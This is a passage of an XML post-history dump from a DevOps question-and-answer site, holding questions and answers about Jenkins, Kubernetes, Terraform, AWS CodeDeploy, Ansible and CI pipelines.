-auto-approve&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Apply complete! Resources: 0 added, 0 changed, 0 destroyed.&#xD;&#xA;&#xD;&#xA;Outputs:&#xD;&#xA;&#xD;&#xA;expect-1 = TRUE&#xD;&#xA;expect-other = FALSE. Got 1&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27877" PostHistoryTypeId="2" PostId="9385" RevisionGUID="df7acb1c-9fb7-46b2-a73c-ccceca0eaa97" CreationDate="2019-10-08T17:29:59.670" UserId="17513" Text="mainly you use ps for evaluating the pid of the process and use the proc filesystem to see the used files by the specific process.&#xD;&#xA;https://www.cyberciti.biz/faq/howto-linux-get-list-of-open-files/&#xD;&#xA;&#xD;&#xA;regards&#xD;&#xA;&#xD;&#xA;bayram" ContentLicense="CC BY-SA 4.0" />
  <row Id="27878" PostHistoryTypeId="2" PostId="9386" RevisionGUID="d8ed832f-fbeb-4ea4-8daf-1878a612d991" CreationDate="2019-10-08T17:51:55.717" UserId="189" Text="You can use `lsof` with the `-p` flag, like this : `lsof -p $PID` ." ContentLicense="CC BY-SA 4.0" />
  <row Id="27879" PostHistoryTypeId="5" PostId="9385" RevisionGUID="fc52ada1-3349-4d3a-a585-15bec0dd65c3" CreationDate="2019-10-08T18:12:35.463" UserId="40" Comment="deleted 21 characters in body" Text="mainly you use ps for evaluating the pid of the process and use the proc filesystem to see the used files by the specific process.&#xD;&#xA;https://www.cyberciti.biz/faq/howto-linux-get-list-of-open-files/" ContentLicense="CC BY-SA 4.0" />
  <row Id="27880" PostHistoryTypeId="5" PostId="6738" RevisionGUID="ee07b27a-32e8-42b4-97df-b0f9413b509b" CreationDate="2019-10-08T19:28:02.140" UserId="13164" Comment="pause, punctuations" Text="I think complicating things is what everybody is getting appreciated for nowadays. I will try to answer this question in short .&#xD;&#xA;&#xD;&#xA;Source Repository is used for storing code and its versions, while artifactory is used for storing the executable programs that are outputs of those code [ binaries - dll, jar, war, ear,msi,exe files etc]&#xD;&#xA;&#xD;&#xA;Now the reason why you would want to place them separately in a repo which is different from your code could be many - right from secure access,hacking threat, malicious code check ins or to simply have a separate avenue for the clients who just need the binaries. &#xD;&#xA;&#xD;&#xA;The technology of SCM could have divulged itself into creating 2 kind of users ( one with developer privileges who will be able to access the source code and another as a client who will just be able to access binaries). But it did not take that route! So now we have artifactories. " ContentLicense="CC BY-SA 4.0" />
  <row Id="27881" PostHistoryTypeId="5" PostId="6896" RevisionGUID="5f8cfdb7-9fde-4cb3-be4f-e332945f45de" CreationDate="2019-10-08T20:44:07.380" UserId="4852" Comment="formatting" Text="Jenkins version: Jenkins ver. 2.32.1&#xD;&#xA;Google Login Plugin version: 1.3&#xD;&#xA;&#xD;&#xA;I got the following error after I restart my jenkins, can anyone suggest me how to solve it?&#xD;&#xA;&#xD;&#xA;The thing is :&#xD;&#xA;&#xD;&#xA;- I already make sure that in plugins directory I had the google-login plugin enabled&#xD;&#xD;&#xA;- I didn't change anything on the plugins, just straight restart&#xD;&#xD;&#xA;- It's been so long since I restart my jenkins&#xD;&#xA;&#xA;&#xD;&#xA;```&#xD;&#xA;    hudson.util.HudsonFailedToLoad: org.jvnet.hudson.reactor.ReactorException: java.io.IOException: Unable to read /var/lib/jenkins/config.xml&#xD;&#xA;        at hudson.WebAppMain$3.run(WebAppMain.java:248)&#xD;&#xA;    Caused by: org.jvnet.hudson.reactor.ReactorException: java.io.IOException: Unable to read /var/lib/jenkins/config.xml&#xD;&#xA;        at org.jvnet.hudson.reactor.Reactor.execute(Reactor.java:269)&#xD;&#xA;        at jenkins.InitReactorRunner.run(InitReactorRunner.java:47)&#xD;&#xA;        at jenkins.model.Jenkins.executeReactor(Jenkins.java:1110)&#xD;&#xA;        at jenkins.model.Jenkins.&lt;init&gt;(Jenkins.java:926)&#xD;&#xA;        at hudson.model.Hudson.&lt;init&gt;(Hudson.java:85)&#xD;&#xA;        at hudson.model.Hudson.&lt;init&gt;(Hudson.java:81)&#xD;&#xA;        at hudson.WebAppMain$3.run(WebAppMain.java:231)&#xD;&#xA;    Caused by: java.io.IOException: Unable to read /var/lib/jenkins/config.xml&#xD;&#xA;        at hudson.XmlFile.unmarshal(XmlFile.java:161)&#xD;&#xA;        at jenkins.model.Jenkins.loadConfig(Jenkins.java:3015)&#xD;&#xA;        at jenkins.model.Jenkins.access$1100(Jenkins.java:326)&#xD;&#xA;        at jenkins.model.Jenkins$16.run(Jenkins.java:3033)&#xD;&#xA;        at org.jvnet.hudson.reactor.TaskGraphBuilder$TaskImpl.run(TaskGraphBuilder.java:169)&#xD;&#xA;        at org.jvnet.hudson.reactor.Reactor.runTask(Reactor.java:282)&#xD;&#xA;        at jenkins.model.Jenkins$7.runTask(Jenkins.java:1086)&#xD;&#xA;        at org.jvnet.hudson.reactor.Reactor$2.run(Reactor.java:210)&#xD;&#xA;        at org.jvnet.hudson.reactor.Reactor$Node.run(Reactor.java:117)&#xD;&#xA;        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152)&#xD;&#xA;        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622)&#xD;&#xA;        at java.lang.Thread.run(Thread.java:748)&#xD;&#xA;    Caused by: jenkins.util.xstream.CriticalXStreamException: org.jenkinsci.plugins.googlelogin.GoogleOAuth2SecurityRealm : org.jenkinsci.plugins.googlelogin.GoogleOAuth2SecurityRealm&#xD;&#xA;    ---- Debugging information ----&#xD;&#xA;    message             : org.jenkinsci.plugins.googlelogin.GoogleOAuth2SecurityRealm&#xD;&#xA;    cause-exception     : com.thoughtworks.xstream.mapper.CannotResolveClassException&#xD;&#xA;    cause-message       : org.jenkinsci.plugins.googlelogin.GoogleOAuth2SecurityRealm&#xD;&#xA;    class               : hudson.model.Hudson&#xD;&#xA;    required-type       : hudson.model.Hudson&#xD;&#xA;    converter-type      : hudson.util.RobustReflectionConverter&#xD;&#xA;    path                : /hudson/securityRealm&#xD;&#xA;    line number         : 485&#xD;&#xA;    version             : not available&#xD;&#xA;    -------------------------------&#xD;&#xA;        at hudson.util.RobustReflectionConverter.doUnmarshal(RobustReflectionConverter.java:356)&#xD;&#xA;        at hudson.util.RobustReflectionConverter.unmarshal(RobustReflectionConverter.java:270)&#xD;&#xA;        at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)&#xD;&#xA;        at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:65)&#xD;&#xA;        at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)&#xD;&#xA;        at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)&#xD;&#xA;        at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)&#xD;&#xA;        at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)&#xD;&#xA;        at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1189)&#xD;&#xA;        at hudson.util.XStream2.unmarshal(XStream2.java:114)&#xD;&#xA;        at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1173)&#xD;&#xA;        at hudson.XmlFile.unmarshal(XmlFile.java:159)&#xD;&#xA;        ... 11 more&#xD;&#xA;    Caused by: com.thoughtworks.xstream.mapper.CannotResolveClassException: org.jenkinsci.plugins.googlelogin.GoogleOAuth2SecurityRealm&#xD;&#xA;        at com.thoughtworks.xstream.mapper.DefaultMapper.realClass(DefaultMapper.java:79)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.DynamicProxyMapper.realClass(DynamicProxyMapper.java:55)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.PackageAliasingMapper.realClass(PackageAliasingMapper.java:88)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.ClassAliasingMapper.realClass(ClassAliasingMapper.java:79)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.ArrayMapper.realClass(ArrayMapper.java:74)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.SecurityMapper.realClass(SecurityMapper.java:71)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at hudson.util.XStream2$CompatibilityMapper.realClass(XStream2.java:282)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at hudson.util.xstream.MapperDelegate.realClass(MapperDelegate.java:43)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.CachingMapper.realClass(CachingMapper.java:48)&#xD;&#xA;        at hudson.util.RobustReflectionConverter.determineType(RobustReflectionConverter.java:461)&#xD;&#xA;        at hudson.util.RobustReflectionConverter.doUnmarshal(RobustReflectionConverter.java:327)&#xD;&#xA;        ... 22 more&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27882" PostHistoryTypeId="24" PostId="6896" RevisionGUID="5f8cfdb7-9fde-4cb3-be4f-e332945f45de" CreationDate="2019-10-08T20:44:07.380" Comment="Proposed by 4852 approved by 40 edit id of 1087" ContentLicense="CC BY-SA 4.0" />
  <row Id="27883" PostHistoryTypeId="2" PostId="9387" RevisionGUID="c0e444b6-f677-4d41-b563-87f45e5b73f8" CreationDate="2019-10-08T20:58:15.573" UserId="17518" Text="If I edit a Kubernetes deployment (e.g. `kubectl edit deployment &lt;name&gt;` or using the Web UI), and wait too long before saving my changes and exiting, the deployment file will have changed while I was editing, resulting in an error notifying me that the file has changed (due to the status fields being updated since I began editing).&#xD;&#xA;&#xD;&#xA;I know I *should* be using declarative state for this, but with my current setup (editing from CLI directly), is there some way to ignore these status changes when editing? It's a pain in the ass to have to rush to edit as quickly as I can before something changes state." ContentLicense="CC BY-SA 4.0" />
  <row Id="27884" PostHistoryTypeId="1" PostId="9387" RevisionGUID="c0e444b6-f677-4d41-b563-87f45e5b73f8" CreationDate="2019-10-08T20:58:15.573" UserId="17518" Text="How do I disable the effective 'time limit' on editing Kubernetes deployments?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27885" PostHistoryTypeId="3" PostId="9387" RevisionGUID="c0e444b6-f677-4d41-b563-87f45e5b73f8" CreationDate="2019-10-08T20:58:15.573" UserId="17518" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27892" PostHistoryTypeId="2" PostId="9390" RevisionGUID="406d1e0d-fce2-4b28-a0ec-424e05688730" CreationDate="2019-10-09T03:41:06.377" UserId="17526" Text="Not sure if this is the right answer but let me give it a try with the limited knowledge i have on this.&#xD;&#xA;&#xD;&#xA;1. these are the resources that I found when I am looking up for tls enabling for my app service. please see if any of this works.&#xD;&#xA;    [msdn][1]&#xD;&#xA;    [how to configure ciphersuite for app service][2]&#xD;&#xA;    [enforce tls vrsion][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2. The client (browser) gives a list of cipher suites it can handle to the server and the server selects one, the decision is passed on to the client during the handshake.&#xD;&#xA;&#xD;&#xA;3. so all the servers won't accept all the cipher suites, it based on server config to choose.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/windows/win32/secauthn/cipher-suites-in-schannel?redirectedfrom=MSDN&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/app-service/environment/app-service-app-service-environment-custom-settings#change-tls-cipher-suite-order&#xD;&#xA;  [3]: https://docs.microsoft.com/en-us/azure/app-service/app-service-web-tutorial-custom-ssl#enforce-tls-versions" ContentLicense="CC BY-SA 4.0" />
  <row Id="27894" PostHistoryTypeId="50" PostId="8847" RevisionGUID="05665303-b6ec-44b1-a319-e694fa939852" CreationDate="2019-10-09T07:02:10.290" UserId="-1" />
  <row Id="27895" PostHistoryTypeId="2" PostId="9391" RevisionGUID="5fec5fda-1cf6-4a8f-a9d9-5754cbb916de" CreationDate="2019-10-09T10:05:09.243" UserId="4852" Text="I would have a look at the [Tool Auto-Installation][1] which allows Jenkins to install the tooling you need.&#xD;&#xA;&gt; Lets you configure tools so that agents will install them on demand whenever running a job that needs them. This could be especially useful when running a large farm of agents in a cloud which all start with a minimal operating system configuration.&#xD;&#xA;&#xD;&#xA;Speaking of that also checkout the [NodeJS Plugin][2] which&#xD;&#xA;&#xD;&#xA;&gt; Provides NodeJS auto-installer, allowing to create as many NodeJS installations &quot;profiles&quot; as you want.&#xD;&#xA;&gt; The auto-installer will automatically install a given version of NodeJS, on every jenkins slave where it will be needed&#xD;&#xA;Allows to install globally some npm packages inside each installations, these npm packages will be made available to the PATH&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Tool+Auto-Installation&#xD;&#xA;  [2]: https://wiki.jenkins.io/display/JENKINS/NodeJS+Plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="27896" PostHistoryTypeId="2" PostId="9392" RevisionGUID="c4bafb18-f04e-4a6c-9581-741c1d8d499d" CreationDate="2019-10-09T11:00:01.093" UserId="2678" Text="I have installed with success cert-manager following [the steps indicated here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.cert-manager.io/en/latest/getting-started/install/kubernetes.html&#xD;&#xA;&#xD;&#xA;Now, i am doing an script that checks if every steps are done properly, so my question is: How can i check if all the CustomResourceDefinitions are created via kubectl, for example?&#xD;&#xA;&#xD;&#xA;I use google kubernets engine v1.13" ContentLicense="CC BY-SA 4.0" />
  <row Id="27897" PostHistoryTypeId="1" PostId="9392" RevisionGUID="c4bafb18-f04e-4a6c-9581-741c1d8d499d" CreationDate="2019-10-09T11:00:01.093" UserId="2678" Text="How can i check if all CustomResourceDefinitions have been created properly?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27898" PostHistoryTypeId="3" PostId="9392" RevisionGUID="c4bafb18-f04e-4a6c-9581-741c1d8d499d" CreationDate="2019-10-09T11:00:01.093" UserId="2678" Text="&lt;kubernetes&gt;&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27899" PostHistoryTypeId="2" PostId="9393" RevisionGUID="9c883d9d-3cce-40e9-8d81-4a01a282aa75" CreationDate="2019-10-09T11:05:06.250" UserId="4856" Text="You have two basic scenarios:&#xD;&#xA;&#xD;&#xA; 1. you have an Azure Pipelines agent running on the target machine&#xD;&#xA; 2. you have an SSH connection to the target machine&#xD;&#xA;&#xD;&#xA;In the first case you just `cp` the file to the target location (given that the user running the agent has adequate permissions).&#xD;&#xA;In the second case, you use a task like [Copy Files Over SSH task](https://docs.microsoft.com/en-us/azure/devops/pipelines/tasks/deploy/copy-files-over-ssh) to copy the file. For this latter you have to setup an [SSH service connection](https://docs.microsoft.com/en-us/azure/devops/pipelines/library/service-endpoints?view=azure-devops&amp;tabs=yaml#sep-ssh) in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="27900" PostHistoryTypeId="50" PostId="8076" RevisionGUID="da9e64df-19d3-4745-b677-89b81e2e95d1" CreationDate="2019-10-09T13:02:10.313" UserId="-1" />
  <row Id="27903" PostHistoryTypeId="50" PostId="9131" RevisionGUID="2e4f509f-ea8f-4cce-9609-d935a273094d" CreationDate="2019-10-09T15:02:20.330" UserId="-1" />
  <row Id="27904" PostHistoryTypeId="2" PostId="9394" RevisionGUID="a297b8e1-3945-47e3-b333-9a2453321cb8" CreationDate="2019-10-09T15:22:05.117" UserId="15792" Text="There are a few different things you can do:&#xD;&#xA;&#xD;&#xA; 1. In your CI process, run your new SQL update scripts against a [Dockerized SQL Server][1]. This will allow your CI server to reject the changes if there are basic errors in the script.&#xD;&#xA; 2. If you are fully containerized look into tools like [Kubernetes][2].  These tools have ways to handle [rolling back failed production updates][3].&#xD;&#xA; 3. Utilize a [Blue Green Deployment][4] strategy along with integration testing.  This provides a fallback in case things go wrong and allows for different types of automated testing schemes in your CI process.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/sql/linux/quickstart-install-connect-docker?view=sql-server-linux-2017&amp;pivots=cs1-bash&#xD;&#xA;  [2]: https://kubernetes.io&#xD;&#xA;  [3]: https://kubernetes.io/docs/tutorials/kubernetes-basics/update/update-intro/&#xD;&#xA;  [4]: https://www.martinfowler.com/bliki/BlueGreenDeployment.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="27905" PostHistoryTypeId="50" PostId="9130" RevisionGUID="c6c60d06-851d-4df7-8a1d-7aa25dfbe537" CreationDate="2019-10-09T16:00:50.103" UserId="-1" />
  <row Id="27910" PostHistoryTypeId="50" PostId="5863" RevisionGUID="6ee3b0a2-64f6-4d40-a1ee-0f2ce301014e" CreationDate="2019-10-09T18:02:35.390" UserId="-1" />
  <row Id="27911" PostHistoryTypeId="2" PostId="9396" RevisionGUID="47439179-6625-4a76-b4b5-21f6953030c0" CreationDate="2019-10-09T18:20:48.663" UserId="3429" Text="There is User input functionality in the declarative pipeline which prompt on the Jenkins console but it's headache to login every time on console and select the appropriate action.&#xD;&#xA;&#xD;&#xA;So I want to implement such a thing via mail for User input, For example User will get the Input via mail where there are two URL's for &quot;Approval&quot; or &quot;Reject&quot; respectively, If User select Approval then proceeded otherwise not. Here need to pass input on the pipeline on runtime.&#xD;&#xA;&#xD;&#xA;Is there any plug-ins for same ?&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="27912" PostHistoryTypeId="1" PostId="9396" RevisionGUID="47439179-6625-4a76-b4b5-21f6953030c0" CreationDate="2019-10-09T18:20:48.663" UserId="3429" Text="Is it possible to send email notification for Input (GO/NOGO) from a pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="27913" PostHistoryTypeId="3" PostId="9396" RevisionGUID="47439179-6625-4a76-b4b5-21f6953030c0" CreationDate="2019-10-09T18:20:48.663" UserId="3429" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;jenkins-plugins&gt;&lt;groovy&gt;&lt;development-environment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27914" PostHistoryTypeId="2" PostId="9397" RevisionGUID="7b4cc6ea-f2dd-4aa9-b6a6-eb4f5f0de184" CreationDate="2019-10-09T18:34:15.747" UserId="11712" Text="What's the best way to ensure that developers can't modify the contents of the appspec.yml file used by AWS CodeDeploy? This file executes scripts on production servers with root privileges so it would be ideal if there were a way to ensure the files can't be modified by anyone with access to the application repository.&#xD;&#xA;&#xD;&#xA;Please note that I'm looking for technical suggestions." ContentLicense="CC BY-SA 4.0" />
  <row Id="27915" PostHistoryTypeId="1" PostId="9397" RevisionGUID="7b4cc6ea-f2dd-4aa9-b6a6-eb4f5f0de184" CreationDate="2019-10-09T18:34:15.747" UserId="11712" Text="How to secure appspec file?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27916" PostHistoryTypeId="3" PostId="9397" RevisionGUID="7b4cc6ea-f2dd-4aa9-b6a6-eb4f5f0de184" CreationDate="2019-10-09T18:34:15.747" UserId="11712" Text="&lt;aws-codedeploy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27917" PostHistoryTypeId="2" PostId="9398" RevisionGUID="a67c3ae5-3d07-4a0b-84d5-ee14a5080e9c" CreationDate="2019-10-09T18:42:00.317" UserId="210" Text="You could store this file in a Version Control System (VCS) like [CodeCommit][1] and ensure that the developers can only merge it when a pull request has been approved by you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/codecommit/" ContentLicense="CC BY-SA 4.0" />
  <row Id="27918" PostHistoryTypeId="5" PostId="9397" RevisionGUID="d42cfc96-0b30-459b-bec0-cf71185d37c4" CreationDate="2019-10-09T18:44:10.113" UserId="11712" Comment="added important detail" Text="What's the best way to ensure that developers can't modify the contents of the appspec.yml file used by AWS CodeDeploy? This file executes scripts on production servers with root privileges so it would be ideal if there were a way to ensure the files can't be modified by anyone with access to the application repository.&#xD;&#xA;&#xD;&#xA;Please note that I'm looking for technical suggestions.&#xD;&#xA;&#xD;&#xA;Please also note I'm using CodeDeploy as part of CodePipeline." ContentLicense="CC BY-SA 4.0" />
  <row Id="27919" PostHistoryTypeId="5" PostId="9397" RevisionGUID="ab18e34f-832a-4c74-b6c5-b6da14e14390" CreationDate="2019-10-09T19:11:33.173" UserId="11712" Comment="added detail" Text="What's the best way to ensure that developers can't modify the contents of the appspec.yml file used by AWS CodeDeploy? This file executes scripts on production servers with root privileges so it would be ideal if there were a way to ensure the files can't be modified by anyone with access to the application repository.&#xD;&#xA;&#xD;&#xA;Please note that I'm looking for technical suggestions.&#xD;&#xA;&#xD;&#xA;Please also note I'm using CodeDeploy as part of CodePipeline with GitHub as source." ContentLicense="CC BY-SA 4.0" />
  <row Id="27920" PostHistoryTypeId="50" PostId="5709" RevisionGUID="cb8fdccb-469d-44a8-b900-ab0089f4d048" CreationDate="2019-10-09T20:03:20.547" UserId="-1" />
  <row Id="27921" PostHistoryTypeId="2" PostId="9399" RevisionGUID="0f849876-7e03-487f-962d-d2d170014e8e" CreationDate="2019-10-09T22:48:27.223" UserId="4115" Text="You don't need any plugins.  You can send an e-mail from your Pipeline using [the `mail()` step](https://jenkins.io/doc/pipeline/steps/workflow-basic-steps/#mail-mail).  You can respond to the input step by using the REST API as documented in [this answer on Stack Overflow](https://stackoverflow.com/a/50606237/1824868).  Put the two together and you should be able to craft an e-mail that contains buttons for responding to the input." ContentLicense="CC BY-SA 4.0" />
  <row Id="27922" PostHistoryTypeId="50" PostId="5887" RevisionGUID="516bdbde-ff2e-4a87-ad0d-a390480ab638" CreationDate="2019-10-10T00:01:30.457" UserId="-1" />
  <row Id="27923" PostHistoryTypeId="2" PostId="9400" RevisionGUID="d16edc74-8d5f-4661-a839-4877683d640f" CreationDate="2019-10-10T04:02:19.103" UserId="17552" Text="- Try to use only `n1-standard-1` nodes and let the autoscaler do it's magic.&#xD;&#xA;- If you can accept some downtime (and eventually some failures of the CI/CD jobs that should be fixed when you retry) you can [use preemptible nodes](https://cloud.google.com/blog/products/containers-kubernetes/cutting-costs-with-google-kubernetes-engine-using-the-cluster-autoscaler-and-preemptible-vms).&#xD;&#xA;- Migrate stateless apps to [Cloud Run](https://cloud.google.com/run/docs/quickstarts/build-and-deploy).&#xD;&#xA;- Follow [this guide](https://cloud.google.com/kubernetes-engine/docs/how-to/small-cluster-tuning) to reduce resource consumption on your cluster." ContentLicense="CC BY-SA 4.0" />
  <row Id="27927" PostHistoryTypeId="5" PostId="9381" RevisionGUID="bcdd5f06-cd17-4883-9a4a-0af00f6283d6" CreationDate="2019-10-10T09:46:20.383" UserId="6356" Comment="added 175 characters in body" Text="I am trying to setup a jenkins pipeline for my IaC code validation, for this I'd like jenkins to clone a gitlab (hosted) repository, for this purpose I setup a credential using username / key type, i used a jenkins user + a generated rsa key (same key on master and slave for simplicity).&#xD;&#xA;&#xD;&#xA;When logged in the master or slave I can git clone using the following command and result :&#xD;&#xA;```&#xD;&#xA;root@jenkins-slave-1 [~]: su - jenkins&#xD;&#xA;jenkins@jenkins-slave-1:~$ cd /tmp/&#xD;&#xA;jenkins@jenkins-slave-1:/tmp$ git clone git@l-gitlab1.domain:salt/salt_states.git&#xD;&#xA;Cloning into 'salt_states'...&#xD;&#xA;remote: Enumerating objects: 1177, done.&#xD;&#xA;remote: Counting objects: 100% (1177/1177), done.&#xD;&#xA;remote: Compressing objects: 100% (483/483), done.&#xD;&#xA;remote: Total 1177 (delta 676), reused 1153 (delta 665)&#xD;&#xA;Receiving objects: 100% (1177/1177), 1.64 MiB | 0 bytes/s, done.&#xD;&#xA;Resolving deltas: 100% (676/676), done.&#xD;&#xA;jenkins@jenkins-slave-1:/tmp$ &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I can see the correct entry in auth log on gitlab instance, the one saying that a pubkey authentication was accepted.&#xD;&#xA;&#xD;&#xA;BUT, when I run the pipeline (that is using the same credentials), it fails with this message :&#xD;&#xA;```&#xD;&#xA;Cloning the remote Git repository&#xD;&#xA;Honoring refspec on initial clone&#xD;&#xA;Cloning repository git@l-gitlab1.domain:salt/salt_states.git&#xD;&#xA; &gt; git init /home/jenkins/workspace/salt_build_test # timeout=10&#xD;&#xA;Fetching upstream changes from git@l-gitlab1.domain:salt/salt_states.git&#xD;&#xA; &gt; git --version # timeout=10&#xD;&#xA;using GIT_SSH to set credentials jenkins user's key (same key on master and slave(s))&#xD;&#xA; &gt; git fetch --tags --progress -- git@l-gitlab1.domain:salt/salt_states.git +refs/remotes/origin/dev # timeout=20&#xD;&#xA;ERROR: Error cloning remote repo 'origin'&#xD;&#xA;hudson.plugins.git.GitException: Command &quot;git fetch --tags --progress -- git@l-gitlab1.domain:salt/salt_states.git +refs/remotes/origin/dev&quot; returned status code 128:&#xD;&#xA;stdout: &#xD;&#xA;stderr: Permission denied, please try again.&#xD;&#xA;Permission denied, please try again.&#xD;&#xA;Permission denied (publickey,password).&#xD;&#xA;fatal: Could not read from remote repository.&#xD;&#xA;&#xD;&#xA;Please make sure you have the correct access rights&#xD;&#xA;and the repository exists.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The gitlab auth log is showing that the authentication tried to use a password auth mode, not a pubkey. ...&#xD;&#xA;```Oct  8 11:49:23 l-gitlab1 sshd[18490]: Failed password for git from 172.27.200.46 port 56750 ssh2&#xD;&#xA;Oct  8 11:49:23 l-gitlab1 sshd[18490]: Failed password for git from 172.27.200.46 port 56750 ssh2&#xD;&#xA;Oct  8 11:49:23 l-gitlab1 sshd[18490]: Connection closed by 172.27.200.46 port 56750 [preauth]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any ideas about what I am doing wrong ?&#xD;&#xA;&#xD;&#xA;The error:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;[Edit]&#xD;&#xA;I added a screenshot as my explanation are not very clear :(&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/5sbwF.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="27928" PostHistoryTypeId="2" PostId="9402" RevisionGUID="475dba89-424b-4f92-a2fe-3c383e5ef569" CreationDate="2019-10-10T11:33:34.807" UserId="17556" Text="How do I ignore the group_vars vault file when running ansible-pull?&#xD;&#xA;&#xD;&#xA;My repository (among other stuff) does machine init, joining the domain and software updates. I would like the software part to be handled by ansible-pull. No passwords are required for this, and no vault is necessary.&#xD;&#xA;&#xD;&#xA;Unfortunately, initial machine setup after a fresh install does require some passwords which are set in group_vars/all.yml and is encrypted by vault. Whenever I run the ansible-pull command I run into vault decryption issues as there is no password provided&#xD;&#xA;&#xD;&#xA;Any advice on how to overcome this?&#xD;&#xA;&#xD;&#xA;Cheers" ContentLicense="CC BY-SA 4.0" />
  <row Id="27929" PostHistoryTypeId="1" PostId="9402" RevisionGUID="475dba89-424b-4f92-a2fe-3c383e5ef569" CreationDate="2019-10-10T11:33:34.807" UserId="17556" Text="ansible-pull ignore group_vars vault" ContentLicense="CC BY-SA 4.0" />
  <row Id="27930" PostHistoryTypeId="3" PostId="9402" RevisionGUID="475dba89-424b-4f92-a2fe-3c383e5ef569" CreationDate="2019-10-10T11:33:34.807" UserId="17556" Text="&lt;ansible&gt;&lt;ansible-vault&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27931" PostHistoryTypeId="2" PostId="9403" RevisionGUID="62e14ac9-801b-4c6f-b68d-eb44a4690220" CreationDate="2019-10-10T12:28:57.000" UserId="3599" Text="So I have a CICD travis build that failed... How do I know which line / step is the culprit?" ContentLicense="CC BY-SA 4.0" />
